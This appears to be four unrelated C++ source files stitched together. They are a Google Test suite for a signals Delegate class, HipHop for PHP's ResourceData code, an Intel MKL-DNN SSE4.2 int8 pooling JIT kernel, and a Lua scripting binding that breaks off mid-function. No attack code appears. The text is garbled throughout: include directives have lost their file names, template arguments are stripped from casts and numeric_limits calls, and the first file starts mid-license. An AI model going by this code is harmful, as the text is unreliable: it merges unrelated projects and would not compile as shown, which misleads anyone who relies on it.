ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ** SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ** ** Contacts: www.steptosky.com */ #include #include "gtest/gtest.h" #include "sts/signals/Signal.h" #include "Reciever.h" /**************************************************************************************************/ //////////////////////////////////////////////////////////////////////////////////////////////////// /**************************************************************************************************/ typedef sts::signals::Delegate Delegate; /**************************************************************************************************/ //////////////////////////////////////////////////////////////////////////////////////////////////// /**************************************************************************************************/ TEST(Delegate, invalid) { auto delegate = Delegate(); ASSERT_FALSE(delegate.isValid()); } TEST(Delegate, call_method) { Receiver r; auto delegate = Delegate::make(&r, &Receiver::slot); delegate(10, 20); ASSERT_EQ(10, r.mV1); ASSERT_EQ(20, r.mV2); ASSERT_TRUE(delegate.isValid()); } TEST(Delegate, call_function) { auto delegate = Delegate::make(&Receiver::staticSlot1); delegate(10, 20); ASSERT_EQ(10, Receiver::g1V1); ASSERT_EQ(20, Receiver::g1V2); ASSERT_TRUE(delegate.isValid()); } /**************************************************************************************************/ //////////////////////////////////////////////////////////////////////////////////////////////////// /**************************************************************************************************/ TEST(Delegate, equality_method) { Receiver r1; Receiver r2; ASSERT_TRUE(Delegate::make(&r1, &Receiver::slot) == Delegate::make(&r1, &Receiver::slot)); ASSERT_FALSE(Delegate::make(&r2, &Receiver::slot) == Delegate::make(&r1, &Receiver::slot)); ASSERT_FALSE(Delegate::make(&r1, &Receiver::slot) == Delegate::make(&r2, &Receiver::slot)); ASSERT_FALSE(Delegate::make(&r1, &Receiver::slot) == Delegate::make(&Receiver::staticSlot1)); } TEST(Delegate, equality_function) { ASSERT_TRUE(Delegate::make(&Receiver::staticSlot1) == Delegate::make(&Receiver::staticSlot1)); ASSERT_FALSE(Delegate::make(&Receiver::staticSlot2) == Delegate::make(&Receiver::staticSlot1)); ASSERT_FALSE(Delegate::make(&Receiver::staticSlot1) == Delegate::make(&Receiver::staticSlot2)); } /**************************************************************************************************/ //////////////////////////////////////////////////////////////////////////////////////////////////// /**************************************************************************************************/ /* +----------------------------------------------------------------------+ | HipHop for PHP | +----------------------------------------------------------------------+ | Copyright (c) 2010- Facebook, Inc. (http://www.facebook.com) | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | so we can mail you a copy immediately. | +----------------------------------------------------------------------+ */ #include #include #include #include namespace HPHP { /////////////////////////////////////////////////////////////////////////////// // resources have a separate id space static IMPLEMENT_THREAD_LOCAL_NO_CHECK_HOT(int, os_max_resource_id); int ResourceData::GetMaxResourceId() { return *(os_max_resource_id.getCheck()); } #ifdef HHVM #define RD_PARENT HPHP::VM::Instance #else #define RD_PARENT HPHP::ObjectData #endif ResourceData::ResourceData() #ifdef HHVM : RD_PARENT( ObjectStaticCallbacks::encodeVMClass(SystemLib::s_resourceClass), true) { #else : RD_PARENT(NULL, true) { #endif int &pmax = *os_max_resource_id; if (pmax < 3) pmax = 3; // reserving 1, 2, 3 for STDIN, STDOUT, STDERR o_id = ++pmax; } #undef RD_PARENT void ResourceData::o_setId(int id) { ASSERT(id >= 1 && id <= 3); // only for STDIN, STDOUT, STDERR int &pmax = *os_max_resource_id; if (o_id != id) { if (o_id == pmax) --pmax; o_id = id; } } ResourceData::~ResourceData() { int &pmax = *os_max_resource_id; if (o_id && o_id == pmax) { --pmax; } o_id = -1; } String ResourceData::t___tostring() { return String("Resource id #") + String(o_getId()); } void ResourceData::serializeImpl(VariableSerializer *serializer) const { String saveName; int saveId; serializer->getResourceInfo(saveName, saveId); serializer->setResourceInfo(o_getResourceName(), o_getResourceId()); o_toArray().serialize(serializer); serializer->setResourceInfo(saveName, saveId); } CStrRef ResourceData::o_getResourceName() const { return o_getClassName(); } /////////////////////////////////////////////////////////////////////////////// } /******************************************************************************* * Copyright 2018 Intel Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *******************************************************************************/ #include #include "mkldnn_types.h" #include "mkldnn_thread.hpp" #include "utils.hpp" #include "jit_generator.hpp" #include "jit_sse42_i8i8_pooling.hpp" #include "jit_uni_quantization.hpp" namespace mkldnn { namespace impl { namespace cpu { using namespace Xbyak; using namespace mkldnn::impl::utils; using namespace mkldnn::impl::memory_format; using namespace mkldnn::impl::utils; using namespace mkldnn::impl::types; using namespace alg_kind; struct call_params_t { const char *src_i8; const char *dst_i8; size_t kw_range; size_t kh_range; float idivider; }; struct jit_sse42_i8i8_pool_fwd_ker_t : public jit_generator { DECLARE_CPU_JIT_AUX_FUNCTIONS(jit_sse42_i8i8_pool_fwd_ker_t) Reg64 reg_ptr_src_i8 = r8; Reg64 reg_ptr_dst_i8 = r9; Reg64 ki = r10; Reg64 kj = r11; Reg64 reg_kw = r12; Reg64 reg_kh = r13; Reg64 c_iter = r14; Reg64 aux_reg_src_h = rax; Reg64 aux_reg_src_w = rbx; Reg64 reg_tmp = rdx; Reg64 reg_src_64 = r15; Reg32 reg_src_32 = r15d; Reg8 reg_src_8 = r15b; Reg64 reg_oc_off = reg_tmp; Reg64 reg_d_weights = aux_reg_src_h; Reg64 reg_d_bias = aux_reg_src_w; size_t sizeof_src_dt() const { return data_type_size(jpp.src_dt); } size_t sizeof_dst_dt() const { return data_type_size(jpp.dst_dt); } Xmm xmm_tmp = Xmm(0); Xmm vreg_tmp = Xmm(14); Xmm vreg_zeros = Xmm(15); Xmm vmm_d_weights = Xmm(0); Xmm vmm_d_bias = Xmm(1); /* max pooling */ Xmm vmm_src(int jj, int ii) { return Xmm(2*jj + ii); } Xmm xmm_src(int jj) { return Xmm(2*jj); } Xmm vmm_dst(int jj, int ii) { return Xmm(2*jj + ii + 2 * jpp.ur_c); } Xmm xmm_dst(int jj) { return Xmm(2*jj + 2 * jpp.ur_c); } /* avg pooling */ Xmm vmm_src_s32(int jj, int ii) { return Xmm(2*jj + ii); } Xmm xmm_src_s32(int jj, int ii) { return Xmm(2*jj + ii); } Xmm vmm_dst_s32(int jj, int ii) { return Xmm(2*jj + ii + 2 * jpp.ur_c); } Ymm ymm_dst_s32(int jj, int ii) { return Ymm(2*jj + ii + 2 * jpp.ur_c); } Xmm xmm_dst_s32(int jj, int ii) { return Xmm(2*jj + ii + 2 * jpp.ur_c); } Xmm vmm_dst_f32(int jj, int ii) { return Xmm(2*jj + ii + 4 * jpp.ur_c); } Xmm xmm_dst_f32(int jj, int ii) { return Xmm(2*jj + ii + 4 * jpp.ur_c); } void (*ker_)(const call_params_t *); jit_pool_conf_t jpp; const primitive_attr_t &attr; void init_tmp_reg(); void load_src(int jj, int c_step); void store_dst(int jj, int c_step); void apply_post_ops(int ur_c, int repeats); void compute_avg_step(int ur_c, int c_step); void compute_max_step(int ur_c, int c_step); void compute_step(int ur_c, int c_step); void compute_c_block(); void generate(); static status_t init_conf(jit_pool_conf_t &jpp, const pooling_desc_t &pd, const memory_desc_wrapper &src_d, const memory_desc_wrapper &dst_d); jit_sse42_i8i8_pool_fwd_ker_t(const jit_pool_conf_t &jpp_, const primitive_attr_t &attr_) : jpp(jpp_), attr(attr_) { generate(); ker_ = reinterpret_cast(const_cast( getCode())); } ~jit_sse42_i8i8_pool_fwd_ker_t() { for (auto inj : quantization_injectors) delete inj; quantization_injectors.clear(); } nstl::vector*> quantization_injectors; }; void jit_sse42_i8i8_pool_fwd_ker_t::load_src(int jj, int c_step) { using namespace data_type; int repeats = c_step != 1 ? 2 : 1; switch (jpp.alg) { case pooling_max: { auto offset = jj*c_step*sizeof_src_dt(); if (c_step == jpp.c_block) { for (int ii = 0; ii < repeats; ii++) uni_vmovups(vmm_src(jj, ii), ptr[aux_reg_src_w + offset + (jpp.c_block / 2) * ii * sizeof_src_dt()]); } else if (c_step == 1) { if (jpp.src_dt == s32) { movsd(xmm_src(jj), ptr[aux_reg_src_w + offset]); } else { mov(reg_src_8, ptr[aux_reg_src_w + offset]); movq(xmm_src(jj), reg_src_64); } } break; } case pooling_avg_include_padding: case pooling_avg_exclude_padding: { auto offset = jj*c_step*sizeof_src_dt(); switch (jpp.src_dt) { case s32: if (c_step == jpp.c_block) { for (int ii = 0; ii < repeats; ii++) uni_vmovups(vmm_src_s32(jj, ii), ptr[aux_reg_src_w + offset + (jpp.c_block / 2) * ii * sizeof_src_dt()]); } else if (c_step == 1) { movsd(xmm_src_s32(jj, 0), ptr[aux_reg_src_w + offset]); } break; case s8: if (c_step == jpp.c_block) { for (int ii = 0; ii < repeats; ii++) { movd(xmm_src_s32(jj, ii), ptr[aux_reg_src_w + offset + (jpp.c_block / 2) * ii * sizeof_src_dt()]); uni_vpmovsxbd(vmm_src_s32(jj, ii), xmm_src_s32(jj, ii)); } } else if (c_step == 1) { movsx(reg_src_32, ptr[aux_reg_src_w + offset]); movq(xmm_src_s32(jj, 0), reg_src_64); } break; case u8: if (c_step == jpp.c_block) { for (int ii = 0; ii < repeats; ii++) { movd(xmm_src_s32(jj, ii), ptr[aux_reg_src_w + offset + (jpp.c_block / 2) * ii * sizeof_src_dt()]); uni_vpmovzxbd(vmm_src_s32(jj, ii), xmm_src_s32(jj, ii)); } } else if (c_step == 1) { movzx(reg_src_32, ptr[aux_reg_src_w + offset]); movq(xmm_src_s32(jj, 0), reg_src_64); } break; default: assert(!"unsupported src data type"); } break; } default: assert(!"unsupported algorithm"); } } void jit_sse42_i8i8_pool_fwd_ker_t::store_dst(int jj, int c_step) { using namespace data_type; int repeats = c_step != 1 ? 2 : 1; switch(jpp.alg) { case pooling_max: { auto offset = jj*c_step*sizeof_dst_dt(); if (c_step == jpp.c_block) { for (int ii = 0; ii < repeats; ii++) uni_vmovups(ptr[reg_ptr_dst_i8 + offset + (jpp.c_block / 2) * ii * sizeof_dst_dt()], vmm_dst(jj, ii)); } else if (c_step == 1) { if (jpp.src_dt == s32) { movq(reg_src_64, xmm_dst(jj)); mov(ptr[reg_ptr_dst_i8 + offset], reg_src_32); } else { movq(reg_src_64, xmm_dst(jj)); mov(ptr[reg_ptr_dst_i8 + offset], reg_src_8); } } break; } case pooling_avg_include_padding: case pooling_avg_exclude_padding: { auto offset = jj*c_step*sizeof_dst_dt(); switch (jpp.dst_dt) { case f32: if (c_step == jpp.c_block) { for (int ii = 0; ii < repeats; ii++) { uni_vmovups(ptr[reg_ptr_dst_i8 + offset + (jpp.c_block / 2) * ii * sizeof_dst_dt()], vmm_dst_f32(jj, ii)); } } else if (c_step == 1) { movq(reg_src_64, xmm_dst_f32(jj, 0)); mov(ptr[reg_ptr_dst_i8 + offset], reg_src_32); } break; case s32: if (c_step == jpp.c_block) { for (int ii = 0; ii < repeats; ii++) { uni_vcvtps2dq(vmm_dst_s32(jj, ii), vmm_dst_f32(jj, ii)); uni_vmovups(ptr[reg_ptr_dst_i8 + offset + (jpp.c_block / 2) * ii * sizeof_dst_dt()], vmm_dst_s32(jj, ii)); } } else if (c_step == 1) { uni_vcvtps2dq(vmm_dst_s32(jj, 0), vmm_dst_f32(jj, 0)); movq(reg_src_64, xmm_dst_s32(jj, 0)); mov(ptr[reg_ptr_dst_i8 + offset], reg_src_32); } break; case s8: if (c_step == jpp.c_block) { for (int ii = 0; ii < repeats; ii++) { uni_vcvtps2dq(vmm_dst_s32(jj, ii), vmm_dst_f32(jj, ii)); uni_vpackssdw(vmm_dst_s32(jj, ii), vmm_dst_s32(jj, ii), vmm_dst_s32(jj, ii)); uni_vpacksswb(xmm_dst_s32(jj, ii), xmm_dst_s32(jj, ii), xmm_dst_s32(jj, ii)); movd(ptr[reg_ptr_dst_i8 + offset + (jpp.c_block / 2) * ii * sizeof_dst_dt()], xmm_dst_s32(jj, ii)); } } else if (c_step == 1) { uni_vcvtps2dq(vmm_dst_s32(jj, 0), vmm_dst_f32(jj, 0)); vpackssdw(vmm_dst_s32(jj, 0), vmm_dst_s32(jj, 0), vmm_dst_s32(jj, 0)); vpacksswb(xmm_dst_s32(jj, 0), xmm_dst_s32(jj, 0), xmm_dst_s32(jj, 0)); movq(reg_src_64, xmm_dst_s32(jj, 0)); mov(ptr[reg_ptr_dst_i8 + offset], reg_src_8); } break; case u8: if (c_step == jpp.c_block) { for (int ii = 0; ii < repeats; ii++) { uni_vcvtps2dq(vmm_dst_s32(jj, ii), vmm_dst_f32(jj, ii)); uni_vpackusdw(vmm_dst_s32(jj, ii), vmm_dst_s32(jj, ii), vmm_dst_s32(jj, ii)); uni_vpackuswb(xmm_dst_s32(jj, ii), xmm_dst_s32(jj, ii), xmm_dst_s32(jj, ii)); movd(ptr[reg_ptr_dst_i8 + offset + (jpp.c_block / 2) * ii * sizeof_dst_dt()], xmm_dst_s32(jj, ii)); } } else if (c_step == 1) { uni_vcvtps2dq(vmm_dst_s32(jj, 0), vmm_dst_f32(jj, 0)); vpackusdw(vmm_dst_s32(jj, 0), vmm_dst_s32(jj, 0), vmm_dst_s32(jj, 0)); vpackuswb(xmm_dst_s32(jj, 0), xmm_dst_s32(jj, 0), xmm_dst_s32(jj, 0)); movq(reg_src_64, xmm_dst_s32(jj, 0)); mov(ptr[reg_ptr_dst_i8 + offset], reg_src_8); } break; default: assert(!"unsuppotred dst data_type"); } break; } default: assert(!"unsupported pooling algorithm"); } } void jit_sse42_i8i8_pool_fwd_ker_t::apply_post_ops(int ur_c, int repeats) { int quantization_inj_idx = 0; const auto &p = attr.post_ops_; for (int i = 0; i < p.len_; i++) { auto& post_op = p.entry_[i]; if (post_op.is_quantization()) { bool do_dequantization = post_op.quantization.alg == alg_kind::quantization_quantize_dequantize; bool do_rounding = do_dequantization || jpp.dst_dt == mkldnn_f32 || i != p.len_ - 1; quantization_injectors[quantization_inj_idx]->init_crop_ptrs(reg_oc_off); for (int jj = 0; jj < ur_c; jj++) { for (int ii = 0; ii < repeats; ii++) { int s_idx = vmm_dst_f32(jj, ii).getIdx(); quantization_injectors[quantization_inj_idx]->compute_crop(s_idx, s_idx + 1, (ii * (jpp.c_block / 2) + jj * jpp.c_block) * sizeof(float)); } } quantization_injectors[quantization_inj_idx]->init_input_scale_shift_ptrs(reg_oc_off); for (int jj = 0; jj < ur_c; jj++) { for (int ii = 0; ii < repeats; ii++) { int s_idx = vmm_dst_f32(jj, ii).getIdx(); quantization_injectors[quantization_inj_idx]->compute_input_scale_shift(s_idx, s_idx + 1, (ii * (jpp.c_block / 2) + jj * jpp.c_block) * sizeof(float), do_rounding); } } quantization_injectors[quantization_inj_idx]->init_output_scale_shift_ptrs(reg_oc_off); for (int jj = 0; jj < ur_c; jj++) { for (int ii = 0; ii < repeats; ii++) { int s_idx = vmm_dst_f32(jj, ii).getIdx(); quantization_injectors[quantization_inj_idx]->compute_output_scale_shift(s_idx, s_idx + 1, (ii * (jpp.c_block / 2) + jj * jpp.c_block) * sizeof(float)); } } quantization_inj_idx++; } } } void jit_sse42_i8i8_pool_fwd_ker_t::compute_max_step(int ur_c, int c_step) { Label l_kw, l_kh; int iw = jpp.iw; int c = jpp.c; int repeats = c_step != 1 ? 2 : 1; for (int jj = 0; jj < ur_c; jj++) { for (int ii = 0; ii < repeats; ii++) { uni_vmovups(vmm_dst(jj, ii), vreg_tmp); } } mov(aux_reg_src_h, reg_ptr_src_i8); xor_(kj, kj); L(l_kh); { mov(aux_reg_src_w, aux_reg_src_h); xor_(ki, ki); L(l_kw); { for (int jj = 0; jj < ur_c; jj++) { load_src(jj, c_step); for (int ii = 0; ii < repeats; ii++) { if (jpp.src_dt == data_type::s32) { uni_vpmaxsd(vmm_dst(jj, ii), vmm_dst(jj, ii), vmm_src(jj, ii)); } else { if (jpp.src_dt == data_type::s8) uni_vpmaxsb(vmm_dst(jj, ii), vmm_dst(jj, ii), vmm_src(jj, ii)); else uni_vpmaxub(vmm_dst(jj, ii), vmm_dst(jj, ii), vmm_src(jj, ii)); } } } add(aux_reg_src_w, c * sizeof_src_dt()); inc(ki); cmp(ki, reg_kw); jl(l_kw, T_NEAR); } add(aux_reg_src_h, iw * c * sizeof_src_dt()); inc(kj); cmp(kj, reg_kh); jl(l_kh, T_NEAR); } for (int jj = 0; jj < ur_c; jj++) store_dst(jj, c_step); } void jit_sse42_i8i8_pool_fwd_ker_t::compute_avg_step(int ur_c, int c_step) { using namespace data_type; Label l_kw, l_kh; int iw = jpp.iw; int c = jpp.c; int repeats = c_step != 1 ? 2 : 1; for (int jj = 0; jj < ur_c; jj++) { for (int ii = 0; ii < repeats; ii++) { uni_vpxor(vmm_src_s32(jj, ii), vmm_src_s32(jj, ii), vmm_src_s32(jj, ii)); uni_vpxor(vmm_dst_s32(jj, ii), vmm_dst_s32(jj, ii), vmm_dst_s32(jj, ii)); } } mov(aux_reg_src_h, reg_ptr_src_i8); xor_(kj, kj); L(l_kh); { mov(aux_reg_src_w, aux_reg_src_h); xor_(ki, ki); L(l_kw); { for (int jj = 0; jj < ur_c; jj++) { load_src(jj, c_step); for (int ii = 0; ii < repeats; ii++) { uni_vpaddd(vmm_dst_s32(jj, ii), vmm_dst_s32(jj, ii), vmm_src_s32(jj, ii)); } } add(aux_reg_src_w, c * sizeof_src_dt()); inc(ki); cmp(ki, reg_kw); jl(l_kw, T_NEAR); } add(aux_reg_src_h, iw * c * sizeof_src_dt()); inc(kj); cmp(kj, reg_kh); jl(l_kh, T_NEAR); } for (int jj = 0; jj < ur_c; jj++) { for (int ii = 0; ii < repeats; ii++) { uni_vcvtdq2ps(vmm_dst_f32(jj, ii), vmm_dst_s32(jj, ii)); mulps(vmm_dst_f32(jj, ii), vreg_tmp); } } apply_post_ops(ur_c, repeats); for (int jj = 0; jj < ur_c; jj++) { store_dst(jj, c_step); } } void jit_sse42_i8i8_pool_fwd_ker_t::compute_step(int ur_c, int c_step) { switch (jpp.alg) { case pooling_max: compute_max_step(ur_c, c_step); break; case pooling_avg_include_padding: case pooling_avg_exclude_padding: compute_avg_step(ur_c, c_step); break; default: assert(!"unsupported pooling algorithm"); } } void jit_sse42_i8i8_pool_fwd_ker_t::compute_c_block() { Label l_main_loop; Label l_tail_loop; Label exit; int ur_c = jpp.ur_c; xor_(c_iter, c_iter); xor_(reg_oc_off, reg_oc_off); L(l_main_loop); { cmp(c_iter, jpp.c - ur_c * jpp.c_block); jg(l_tail_loop, T_NEAR); compute_step(ur_c, jpp.c_block); add(reg_ptr_src_i8, ur_c * jpp.c_block * sizeof_src_dt()); add(reg_ptr_dst_i8, ur_c * jpp.c_block * sizeof_dst_dt()); add(c_iter, ur_c * jpp.c_block); add(reg_oc_off, ur_c * jpp.c_block * sizeof(float)); jmp(l_main_loop); } L(l_tail_loop); { cmp(c_iter, jpp.c - ur_c); jg(exit, T_NEAR); compute_step(ur_c, 1); add(reg_ptr_src_i8, ur_c * sizeof_src_dt()); add(reg_ptr_dst_i8, ur_c * sizeof_dst_dt()); add(c_iter, ur_c); add(reg_oc_off, ur_c * sizeof(float)); jmp(l_tail_loop); } L(exit); } void jit_sse42_i8i8_pool_fwd_ker_t::init_tmp_reg() { using namespace data_type; switch (jpp.alg) { case pooling_avg_include_padding: case pooling_avg_exclude_padding: mov(reg_tmp, ptr[abi_param1 + offsetof(call_params_t, idivider)]); movq(xmm_tmp, reg_tmp); uni_vpbroadcastd(vreg_tmp, xmm_tmp); break; case pooling_max: switch (jpp.src_dt) { case s32: mov(reg_tmp, nstl::numeric_limits::lowest()); break; case s8: mov(reg_tmp, nstl::numeric_limits::lowest()); break; case u8: mov(reg_tmp, nstl::numeric_limits::lowest()); break; default: assert(!"unsupported src data_type"); } movq(xmm_tmp, reg_tmp); if (jpp.src_dt == s32) { uni_vpbroadcastd(vreg_tmp, xmm_tmp); } else { movups(vreg_tmp, xmm_tmp); uni_vpxor(xmm_tmp, xmm_tmp, xmm_tmp); pshufb(vreg_tmp, xmm_tmp); } break; default: assert(!"unsupported pooling algorithm"); } } void jit_sse42_i8i8_pool_fwd_ker_t::generate() { const auto &p = attr.post_ops_; for (int i = 0; i < p.len_; i++) { auto &post_op = p.entry_[i]; if (post_op.is_quantization()) { quantization_injectors.push_back(new jit_uni_quantization_injector_f32( this, post_op, vmm_d_weights, vmm_d_bias, reg_d_weights, reg_d_bias )); } } preamble(); # define READ_PARAM(reg, field) \ mov(reg, ptr[abi_param1 + offsetof(call_params_t, field)]) READ_PARAM(reg_ptr_src_i8, src_i8); READ_PARAM(reg_ptr_dst_i8, dst_i8); READ_PARAM(reg_kw, kw_range); READ_PARAM(reg_kh, kh_range); # undef READ_PARAM init_tmp_reg(); uni_vpxor(vreg_zeros, vreg_zeros, vreg_zeros); compute_c_block(); postamble(); } status_t jit_sse42_i8i8_pool_fwd_ker_t::init_conf(jit_pool_conf_t &jpp, const pooling_desc_t &pd, const memory_desc_wrapper &src_d, const memory_desc_wrapper &dst_d) { if (!mayiuse(sse42)) { return status::unimplemented; } jpp.mb = src_d.dims()[0]; jpp.c = src_d.dims()[1]; jpp.ih = src_d.dims()[2]; jpp.iw = src_d.dims()[3]; jpp.oh = dst_d.dims()[2]; jpp.ow = dst_d.dims()[3]; jpp.stride_h = pd.strides[0]; jpp.stride_w = pd.strides[1]; jpp.kh = pd.kernel[0]; jpp.kw = pd.kernel[1]; jpp.t_pad = pd.padding[0][0]; jpp.l_pad = pd.padding[0][1]; jpp.alg = pd.alg_kind; jpp.src_dt = pd.src_desc.data_type; jpp.dst_dt = pd.dst_desc.data_type; jpp.c_block = jpp.alg == pooling_max ? 32 / (jpp.src_dt == data_type::s32 ? 4 : 1) : 8; jpp.c_tail = jpp.c % jpp.c_block; jpp.nb_c = jpp.c / jpp.c_block; jpp.ur_c = 1; jpp.ur_c_tail = jpp.nb_c - (jpp.nb_c / jpp.ur_c)*jpp.ur_c + (jpp.c_tail != 0); return status::success; } status_t jit_sse42_i8i8_pooling_fwd_t::pd_t::jit_conf() { return jit_sse42_i8i8_pool_fwd_ker_t::init_conf(jpp_, desc_, src_pd_.desc(), dst_pd_.desc()); } jit_sse42_i8i8_pooling_fwd_t::jit_sse42_i8i8_pooling_fwd_t(const pd_t *apd, const input_vector &inputs, const output_vector &outputs) : cpu_primitive_t(apd, inputs, outputs), ker_(nullptr) { ker_ = new jit_sse42_i8i8_pool_fwd_ker_t(pd()->jpp_, *pd()->attr()); } jit_sse42_i8i8_pooling_fwd_t::~jit_sse42_i8i8_pooling_fwd_t() { delete ker_; } void jit_sse42_i8i8_pooling_fwd_t::execute_forward() const { auto src_i8 = reinterpret_cast(input_memory(0)); auto dst_i8 = reinterpret_cast(memory()); const memory_desc_wrapper src_d(pd()->src_pd()); const memory_desc_wrapper dst_d(pd()->dst_pd()); const auto &jpp = pd()->jpp_; parallel_nd(jpp.mb, jpp.oh, jpp.ow, [&](int n, int oh, int ow) { const int ih = nstl::max(oh * jpp.stride_h - jpp.t_pad, 0); const int iw = nstl::max(ow * jpp.stride_w - jpp.l_pad, 0); const int kh_start = nstl::max(0, jpp.t_pad - oh * jpp.stride_h); const int kh_end = nstl::min(jpp.kh, jpp.ih + jpp.t_pad - oh * jpp.stride_h); const int kw_start = nstl::max(0, jpp.l_pad - ow * jpp.stride_w); const int kw_end = nstl::min(jpp.kw, jpp.iw + jpp.l_pad - ow * jpp.stride_w); auto p = call_params_t(); p.src_i8 = &src_i8[ src_d.blk_off(n, 0, ih, iw) * src_d.data_type_size()]; p.dst_i8 = &dst_i8[ dst_d.blk_off(n, 0, oh, ow) * dst_d.data_type_size()]; p.kw_range = (size_t) (kw_end - kw_start); p.kh_range = (size_t) (kh_end - kh_start); p.idivider = 1.0f / ((jpp.alg == pooling_avg_exclude_padding) ? p.kh_range * p.kw_range : jpp.kw * jpp.kh); ker_->ker_(&p); }); } } } } mettaursp/SuddenlyGames #include "Lua.h" #include #include "Object.h" #include "LuaBinding.h" Lua::StringVector Lua::StackTraceback; std::stringstream Lua::ErrorBuffer; std::string Lua::ErrorMessage = std::string(); struct CoreTypeStruct { int Void = -1; int Boolean = -1; int Character = -1; int UnsignedCharacter = -1; int Short = -1; int UnsignedShort = -1; int Integer = -1; int UnsignedInteger = -1; int Long = -1; int UnsignedLong = -1; int LongLong = -1; int UnsignedLongLong = -1; int Float = -1; int Double = -1; int String = -1; int LuaFunction = -1; int LuaThread = -1; int LuaTable = -1; }; CoreTypeStruct coreTypeIDs; Lua::Lua() { State = luaL_newstate(); luaL_requiref(State, "_G", luaopen_base, 1); luaL_requiref(State, LUA_LOADLIBNAME, luaopen_package, 1); luaL_requiref(State, LUA_COLIBNAME, luaopen_coroutine, 1); luaL_requiref(State, LUA_TABLIBNAME, luaopen_table, 1); luaL_requiref(State, LUA_IOLIBNAME, luaopen_io, 1); luaL_requiref(State, LUA_OSLIBNAME, luaopen_os, 1); luaL_requiref(State, LUA_STRLIBNAME, luaopen_string, 1); luaL_requiref(State, LUA_MATHLIBNAME, luaopen_math, 1); luaL_requiref(State, LUA_UTF8LIBNAME, luaopen_utf8, 1); #if defined(LUA_COMPAT_BITLIB) luaL_requiref(lua, LUA_BITLIBNAME, luaopen_bit32, 1); #endif lua_pop(State, 9); coreTypeIDs.Void = ReflectionData::GetTypeID("void"); coreTypeIDs.Boolean = ReflectionData::GetTypeID("bool"); coreTypeIDs.Character = ReflectionData::GetTypeID("char"); coreTypeIDs.UnsignedCharacter = ReflectionData::GetTypeID("unsigned char"); coreTypeIDs.Short = ReflectionData::GetTypeID("short"); coreTypeIDs.UnsignedShort = ReflectionData::GetTypeID("unsigned short"); coreTypeIDs.Integer = ReflectionData::GetTypeID("int"); coreTypeIDs.UnsignedInteger = ReflectionData::GetTypeID("unsigned int"); coreTypeIDs.Long = ReflectionData::GetTypeID("long"); coreTypeIDs.UnsignedLong = ReflectionData::GetTypeID("unsigned long"); coreTypeIDs.LongLong = ReflectionData::GetTypeID("long long"); coreTypeIDs.UnsignedLongLong = ReflectionData::GetTypeID("unsigned long long"); coreTypeIDs.Float = ReflectionData::GetTypeID("float"); coreTypeIDs.Double = ReflectionData::GetTypeID("double"); coreTypeIDs.String = ReflectionData::GetTypeID("string"); coreTypeIDs.LuaFunction = ReflectionData::GetTypeID("LuaFunction"); coreTypeIDs.LuaThread = ReflectionData::GetTypeID("LuaThread"); coreTypeIDs.LuaTable = ReflectionData::GetTypeID("LuaTable"); } Lua::~Lua() { lua_close(State); } lua_State* Lua::GetState() { return State; } bool Lua::DoFile(const char* filePath) { lua_pushcfunction(State, Lua::Traceback); bool errored = luaL_loadfile(State, filePath); if (!errored) errored = lua_pcall(State, 0, LUA_MULTRET, -2); if (errored) std::cout << lua_tostring(State, -1) << std::endl; return errored; } void Lua::InitializeLuaTypes() { LuaCallback::Initialize(); LuaThread::Initialize(); LuaTable::Initialize(); } void Lua::DumpStack(lua_State* lua) { std::cout << "Lua Stack:" << std::endl; int top = lua_gettop(lua); for (int i = 1; i <= top; ++i) std::cout << "\t[" << i << "]: " << GetType(lua, i) << std::endl; } int Lua::Traceback(lua_State* lua) { StackTraceback.clear(); luaL_traceback(lua, lua, 0, 1); const char* trace = lua_tostring(lua, -1); for (int i = 0; trace[i];) { while (trace[i] == ' ' || trace[i] == '\t' || trace[i] == '\n') ++i; int j; for (j = 0; trace[i + j] && trace[i + j] != '\n'; ++j); std::string line(trace + i, j); if (line.size() > 0) StackTraceback.push_back(line); i += j; } int start = -1; for (int i = 1; start == -1 && i < int(StackTraceback.size()); ++i) { std::string& line = StackTraceback[i]; if (!(line[0] == '[' && line[1] == 'C' && line[2] == ']')) start = i; } if (start == -1) start = 1; std::string& line = StackTraceback[start]; int size = 0; for (int i = 0; line[i] != ' '; ++i) if (line[i] == ':') size = i + 2; const char* message = lua_tostring(lua, 1); bool errorThrownByCpp = false; for (int i = 0; i < size - 1; ++i) { if (message[i] != line[i]) { errorThrownByCpp = true; break; } } if (errorThrownByCpp) ErrorMessage = std::string(line.c_str(), size); else ErrorMessage = std::string(); ErrorMessage += message; ErrorMessage += "\n\nStack Begin\n"; for (int i = start; i < int(StackTraceback.size()); ++i) ErrorMessage += '\t' + StackTraceback[i] + '\n'; ErrorMessage += "Stack End\n"; lua_pushstring(lua, ErrorMessage.c_str()); return 1; } void Lua::ClearBuffer() { ErrorBuffer.str(std::string()); } void Lua::Error(lua_State* lua) { ErrorMessage = ErrorBuffer.str(); lua_pushstring(lua, ErrorMessage.c_str()); lua_error(lua); ClearBuffer(); } void Lua::SetErrorMessage(const std::string& message) { ErrorBuffer << message; } void Lua::BadArgumentError(lua_State* lua, int argument, const char* expectedType, const char* luaType, const char* functionName) { ErrorBuffer << "bad argument to #" << argument << " in function '" << functionName << "': expected '" << expectedType << "', got '" << luaType << "'"; Error(lua); } void Lua::BadWriteError(lua_State *lua, const char* memberName, const char* parentName, const char* typeName, const char* luaType) { ErrorBuffer << "attempt to write bad value to member '" << memberName << "' of '" << parentName << "': expected '" << typeName << "', got '" << luaType << "'"; Error(lua); } void Lua::BadIndexError(lua_State* lua, const char* expectedType, int objectIndex, int paramIndex) { ErrorBuffer << "attempt to index object '" << lua_tostring(lua, ToString(lua, objectIndex)) << "' with type '" << GetType(lua, paramIndex) << "', expected '" << expectedType << "'"; Error(lua); } void Lua::BadMemberError(lua_State* lua, int objectIndex, int paramIndex) { ErrorBuffer << "'" << lua_tostring(lua, ToString(lua, 